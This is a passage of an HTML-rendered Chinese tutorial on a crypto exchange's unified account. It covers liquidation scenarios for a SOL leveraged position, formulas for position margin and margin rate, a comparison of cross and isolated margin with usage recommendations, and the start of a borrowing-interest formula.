class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8389em;vertical-align:-0.1944em;"></span><span class="mord">43</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">790</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0.5</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8389em;vertical-align:-0.1944em;"></span><span class="mord">21</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">895</span></span></span></span> USD</li><li>新uniMMR：<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8389em;vertical-align:-0.1944em;"></span><span class="mord">21</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">895</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">÷</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8389em;vertical-align:-0.1944em;"></span><span class="mord">2</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">599</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">8.43</span></span></span></span> (843%)</li><li><strong>仍然非常安全</strong></li></ul><p><strong>场景3：强制平仓临界点分析</strong><br>当uniMMR降至105%时的临界条件：</p><ul><li>临界权益：<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8389em;vertical-align:-0.1944em;"></span><span class="mord">2</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">599</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1.05</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8389em;vertical-align:-0.1944em;"></span><span class="mord">2</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">729</span></span></span></span> USD</li><li>最大承受损失：<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8389em;vertical-align:-0.1944em;"></span><span class="mord">43</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">790</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8389em;vertical-align:-0.1944em;"></span><span class="mord">2</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">729</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8389em;vertical-align:-0.1944em;"></span><span class="mord">41</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">061</span></span></span></span> USD</li><li><strong>理论上可承受93.8%的资产价值下跌</strong></li></ul><p><strong>场景4：实际风险边界</strong><br>考虑到杠杆交易的放大效应：</p><ul><li>如果SOL价格下跌80%（从85降至17 USD）</li><li>杠杆权益变化：净资产17,000 USD → 净资产3,400 USD → 权益3,060 USD</li><li>新总权益：约32,850 USD</li><li>新uniMMR：约1264%，<strong>依然安全</strong></li></ul><h3 id="10-5-实用洞察">10.5 实用洞察</h3><p><strong>组合保证金的优势体现：</strong></p><ol><li><strong>资金效率</strong>：现货资产（28,910 USD）为合约提供隐性保证金支持</li><li><strong>风险分散</strong>：多资产组合降低了单一资产风险敞口</li><li><strong>资本优化</strong>：总资产87,910 USD中，仅需2,599 USD维持保证金</li></ol><p><strong>关键风险因素分析：</strong></p><ol><li><strong>杠杆集中风险</strong>：SOL杠杆MM（2,550 USD）占总MM的98.1%</li><li><strong>开仓亏损影响</strong>：-2,520 USD开仓亏损相当于总权益的5.8%</li><li><strong>价格敏感性</strong>：杠杆部分对SOL价格变化最为敏感</li></ol><p><strong>实际操作建议：</strong></p><ol><li><strong>监控重点</strong>：主要关注SOL价格波动，其对整体风险影响最大</li><li><strong>风险缓冲</strong>：当前1685%的uniMMR提供了极大的安全边际</li><li><strong>优化空间</strong>：可考虑增加杠杆敞口或降低现货配置比例</li></ol><p><strong>计算准确性验证：</strong></p><ul><li>所有计算均基于文档前述机制</li><li>现货权益不应用折算率（常见错误）</li><li>杠杆MM仅针对借贷金额计算</li><li>开仓亏损正确应用<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mop">min</span><span class="mopen">(</span><span class="mord">0</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">...</span><span class="mclose">)</span></span></span></span>函数</li></ul><p>这个修正后的案例真实反映了统一账户的计算逻辑，每个数值都有明确的理论依据。</p><h2 id="11-保证金交易详解">11. 保证金交易详解</h2><p>本章节深入解析保证金交易的运作机制，包括基本原理、交叉与隔离保证金模式、利息计算方法以及强制平仓触发条件。保证金交易作为统一账户体系的重要组成部分，为交易者提供了灵活的杠杆交易工具，同时也带来了相应的风险管理要求。理解这些机制对于安全、有效地使用统一账户进行杠杆交易至关重要。</p><h3 id="11-1-保证金交易原理">11.1 保证金交易原理</h3><p>保证金交易允许用户利用所持有资产作为抵押，通过借入资金放大交易头寸：</p><p><strong>持仓保证金计算：</strong></p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9694em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.109em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">p</span><span class="mord mathnormal mtight">os</span><span class="mord mathnormal mtight">i</span><span class="mord mathnormal mtight">t</span><span class="mord mathnormal mtight">i</span><span class="mord mathnormal mtight">o</span><span class="mord mathnormal mtight">n</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.1963em;vertical-align:-0.836em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3603em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.01968em;">l</span><span class="mord mathnormal mtight">a</span><span class="mord mathnormal mtight">s</span><span class="mord mathnormal mtight">t</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord mathnormal">L</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"><span class="mord mathnormal" style="margin-right:0.22222em;">V</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.2806em;"><span style="top:-2.55em;margin-left:-0.2222em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">co</span><span class="mord mathnormal mtight">n</span><span class="mord mathnormal mtight">t</span><span class="mord mathnormal mtight" style="margin-right:0.02778em;">r</span><span class="mord mathnormal mtight">a</span><span class="mord mathnormal mtight">c</span><span class="mord mathnormal mtight">t</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord"><span class="mord mathnormal">Q</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">p</span><span class="mord mathnormal mtight">os</span><span class="mord mathnormal mtight">i</span><span class="mord mathnormal mtight">t</span><span class="mord mathnormal mtight">i</span><span class="mord mathnormal mtight">o</span><span class="mord mathnormal mtight">n</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.836em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span></span></span></p><p><strong>符号说明：</strong></p><ul><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9694em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.109em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">p</span><span class="mord mathnormal mtight">os</span><span class="mord mathnormal mtight">i</span><span class="mord mathnormal mtight">t</span><span class="mord mathnormal mtight">i</span><span class="mord mathnormal mtight">o</span><span class="mord mathnormal mtight">n</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span></span></span></span>：持仓保证金</li><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.22222em;">V</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.2806em;"><span style="top:-2.55em;margin-left:-0.2222em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">co</span><span class="mord mathnormal mtight">n</span><span class="mord mathnormal mtight">t</span><span class="mord mathnormal mtight" style="margin-right:0.02778em;">r</span><span class="mord mathnormal mtight">a</span><span class="mord mathnormal mtight">c</span><span class="mord mathnormal mtight">t</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>：合约面值</li><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9694em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal">Q</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">p</span><span class="mord mathnormal mtight">os</span><span class="mord mathnormal mtight">i</span><span class="mord mathnormal mtight">t</span><span class="mord mathnormal mtight">i</span><span class="mord mathnormal mtight">o</span><span class="mord mathnormal mtight">n</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span></span></span></span>：持仓合约数量</li><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.01968em;">l</span><span class="mord mathnormal mtight">a</span><span class="mord mathnormal mtight">s</span><span class="mord mathnormal mtight">t</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>：最新成交价</li><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">L</span></span></span></span>：杠杆倍数</li></ul><p><strong>公式原理：</strong><br>持仓保证金是维持当前仓位所需的资金。合约面值乘以数量得到总敞口，除以杠杆倍数得到实际需要的保证金。价格用于动态调整保证金需求。</p><p><strong>保证金率计算：</strong></p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7167em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">ma</span><span class="mord mathnormal mtight" style="margin-right:0.02778em;">r</span><span class="mord mathnormal mtight" style="margin-right:0.03588em;">g</span><span class="mord mathnormal mtight">in</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.1963em;vertical-align:-0.836em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3603em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.109em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">u</span><span class="mord mathnormal mtight">se</span><span class="mord mathnormal mtight">d</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.2806em;"><span style="top:-2.55em;margin-left:-0.0576em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">a</span><span class="mord mathnormal mtight">cco</span><span class="mord mathnormal mtight">u</span><span class="mord mathnormal mtight">n</span><span class="mord mathnormal mtight">t</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.836em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.0833em;"></span><span class="mord">100%</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.7167em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0037em;">α</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0037em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">a</span><span class="mord mathnormal mtight">d</span><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span></span></span></span></span></p><p><strong>符号说明：</strong></p><ul><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7167em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">ma</span><span class="mord mathnormal mtight" style="margin-right:0.02778em;">r</span><span class="mord mathnormal mtight" style="margin-right:0.03588em;">g</span><span class="mord mathnormal mtight">in</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span></span></span></span>：保证金率</li><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.2806em;"><span style="top:-2.55em;margin-left:-0.0576em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">a</span><span class="mord mathnormal mtight">cco</span><span class="mord mathnormal mtight">u</span><span class="mord mathnormal mtight">n</span><span class="mord mathnormal mtight">t</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>：账户权益</li><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.109em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">u</span><span class="mord mathnormal mtight">se</span><span class="mord mathnormal mtight">d</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>：占用保证金</li><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7167em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0037em;">α</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0037em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">a</span><span class="mord mathnormal mtight">d</span><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span></span></span></span>：调整系数</li></ul><p><strong>公式原理：</strong><br>保证金率衡量账户的安全边际。比率越高表示风险越低，调整系数考虑了市场波动、流动性等风险因素，确保保证金率能真实反映账户风险状况。</p><h3 id="11-2-交叉与隔离保证金">11.2 交叉与隔离保证金</h3><pre><code class="highlight mermaid">graph TB    subgraph &quot;保证金模式对比分析&quot;        subgraph &quot;交叉保证金 Cross Margin&quot;            A1[&quot;账户总资金池&lt;br/&gt;💰 10,000 USDT&quot;]            subgraph &quot;共享保证金机制&quot;                A2[&quot;仓位A - BTC&lt;br/&gt;📊 占用2,000 USDT&quot;]                A3[&quot;仓位B - ETH&lt;br/&gt;📈 占用3,000 USDT&quot;]                A4[&quot;可用资金&lt;br/&gt;💵 5,000 USDT&quot;]            end            A5[&quot;盈亏互补&lt;br/&gt;⚖️ 总体核算&quot;]            A6[&quot;延迟爆仓&lt;br/&gt;🛡️ 共享风险缓冲&quot;]            A7[&quot;高资金效率&lt;br/&gt;🚀 最大化利用&quot;]            A1 --&gt; A2            A1 --&gt; A3            A1 --&gt; A4            A2 --&gt; A5            A3 --&gt; A5            A5 --&gt; A6            A6 --&gt; A7        end        subgraph &quot;隔离保证金 Isolated Margin&quot;            B1[&quot;资金独立分配&lt;br/&gt;🔒 风险隔离&quot;]            subgraph &quot;独立保证金机制&quot;                B2[&quot;仓位A保证金&lt;br/&gt;🏛️ 独立2,000 USDT&quot;]                B3[&quot;仓位B保证金&lt;br/&gt;🏦 独立3,000 USDT&quot;]                B4[&quot;闲置资金&lt;br/&gt;💎 5,000 USDT安全&quot;]            end            B5[&quot;独立核算&lt;br/&gt;📊 各自盈亏&quot;]            B6[&quot;独立爆仓&lt;br/&gt;🎯 损失可控&quot;]            B7[&quot;风险隔离&lt;br/&gt;🛡️ 互不影响&quot;]            B1 --&gt; B2            B1 --&gt; B3            B1 --&gt; B4            B2 --&gt; B5            B3 --&gt; B5            B5 --&gt; B6            B6 --&gt; B7        end        subgraph &quot;风险对比矩阵&quot;            C1[&quot;交叉模式风险&lt;br/&gt;⚠️ 连锁反应&quot;]            C2[&quot;隔离模式风险&lt;br/&gt;✅ 可控损失&quot;]            C3[&quot;资金效率&lt;br/&gt;📈 交叉&gt;隔离&quot;]            C4[&quot;风险控制&lt;br/&gt;🛡️ 隔离&gt;交叉&quot;]        end        A7 --&gt; C1        B7 --&gt; C2        A7 --&gt; C3        B7 --&gt; C4    end    subgraph &quot;应用场景选择&quot;        D1[&quot;多元化投资&lt;br/&gt;🌐 选择交叉模式&quot;]        D2[&quot;高风险投机&lt;br/&gt;🎲 选择隔离模式&quot;]        D3[&quot;经验丰富&lt;br/&gt;🎓 交叉模式&quot;]        D4[&quot;新手保护&lt;br/&gt;👶 隔离模式&quot;]        C3 --&gt; D1        C3 --&gt; D3        C4 --&gt; D2        C4 --&gt; D4    end    style A1 fill:#e8f5e8    style A2 fill:#e3f2fd    style A3 fill:#e3f2fd    style A4 fill:#f3e5f5    style A5 fill:#fff3e0    style A6 fill:#fff3e0    style A7 fill:#e8f5e8    style B1 fill:#ffebee    style B2 fill:#ffe0b2    style B3 fill:#ffe0b2    style B4 fill:#e8f5e8    style B5 fill:#fff3e0    style B6 fill:#fff3e0    style B7 fill:#e8f5e8    style C1 fill:#ffcdd2    style C2 fill:#c8e6c8    style C3 fill:#e1f5fe    style C4 fill:#e8f5e8    style D1 fill:#e8f5e8    style D2 fill:#ffcdd2    style D3 fill:#e8f5e8    style D4 fill:#c8e6c8</code></pre><p><strong>交叉保证金（Cross Margin）详解：</strong></p><p>交叉保证金将账户内所有资金作为一个整体来抵御风险，所有仓位共享保证金池。</p><p><strong>实际案例：</strong><br>你的杠杆账户有10,000 USDT，同时持有：</p><ul><li>仓位A：做多BTC，占用保证金2,000 USDT</li><li>仓位B：做多ETH，占用保证金3,000 USDT</li><li>剩余可用：5,000 USDT</li></ul><p><strong>交叉保证金的运作：</strong></p><ol><li><strong>盈亏互补</strong>：如果BTC仓位亏损500 USDT，但ETH仓位盈利300 USDT，净亏损只有200 USDT</li><li><strong>共享保证金</strong>：两个仓位共同使用10,000 USDT作为维持保证金</li><li><strong>延迟爆仓</strong>：只有当总权益跌破总维持保证金要求时才会强制平仓</li></ol><p><strong>优势：</strong></p><ul><li>资金利用率高：5,000 USDT可用资金可以继续开仓</li><li>风险分散：不同仓位的盈亏可以相互抵消</li><li>延长生存时间：单个仓位的亏损不会立即触发爆仓</li></ul><p><strong>隔离保证金（Isolated Margin）详解：</strong></p><p>隔离保证金为每个仓位单独分配固定的保证金，仓位间完全独立。</p><p><strong>同样的例子：</strong><br>你为每个仓位分别分配资金：</p><ul><li>仓位A：独立分配2,000 USDT</li><li>仓位B：独立分配3,000 USDT</li><li>其余5,000 USDT不参与任何仓位</li></ul><p><strong>隔离保证金的运作：</strong></p><ol><li><strong>独立核算</strong>：BTC仓位亏损500 USDT只影响自己的2,000 USDT保证金</li><li><strong>独立爆仓</strong>：如果BTC仓位触发爆仓，只会平掉BTC仓位，ETH仓位不受影响</li><li><strong>损失可控</strong>：最大损失限定在分配给该仓位的保证金范围内</li></ol><p><strong>优势：</strong></p><ul><li>风险隔离：一个仓位爆仓不会影响其他仓位</li><li>损失可控：最大损失预先确定</li><li>适合高风险策略：可以用小额资金测试高风险交易</li></ul><p><strong>选择策略对比：</strong></p><table><thead><tr><th>场景</th><th>推荐模式</th><th>理由</th></tr></thead><tbody><tr><td>多元化投资组合</td><td>交叉保证金</td><td>风险分散，资金效率高</td></tr><tr><td>高风险单币投机</td><td>隔离保证金</td><td>限制损失，保护其他资产</td></tr><tr><td>资金量大，经验丰富</td><td>交叉保证金</td><td>最大化资金利用率</td></tr><tr><td>新手或小资金</td><td>隔离保证金</td><td>控制风险，避免全盘皆输</td></tr></tbody></table><p><strong>实战建议：</strong></p><ul><li><strong>保守策略</strong>：70%资金用隔离保证金做稳健投资，30%用交叉保证金博取高收益</li><li><strong>激进策略</strong>：主要使用交叉保证金，但为单个高风险仓位设置隔离模式</li><li><strong>风险管理</strong>：无论选择哪种模式，都要设置止损和定期评估仓位</li></ul><h3 id="11-3-利息计算">11.3 利息计算</h3><p>保证金交易中借入资金需支付利息：</p><p><strong>利息计算公式：</strong></p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07847em;">I</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.2806em;"><span style="top:-2.55em;margin-left:-0.0785em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">cos</span><span class="mord mathnormal mtight">t</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">D</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8694em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">h</span><span class="mord mathnormal mtight">o</span><span class="mord mathnormal mtight">u</span><span class="mord mathnormal mtight" style="margin-right:0.02778em;">r</span><span class="mord mathnormal mtight" style="margin-right:0.01968em;">l</span><span class="mord mathnormal mtight" style="margin-right:0.03588em;">y</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6151em;"></span><span class="mord mathnormal">t</span></span></span></span></span></p><p><strong>符号说明：</strong></p><ul><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07847em;">I</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.2806em;"><span style="top:-2.55em;margin-left:-0.0785em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 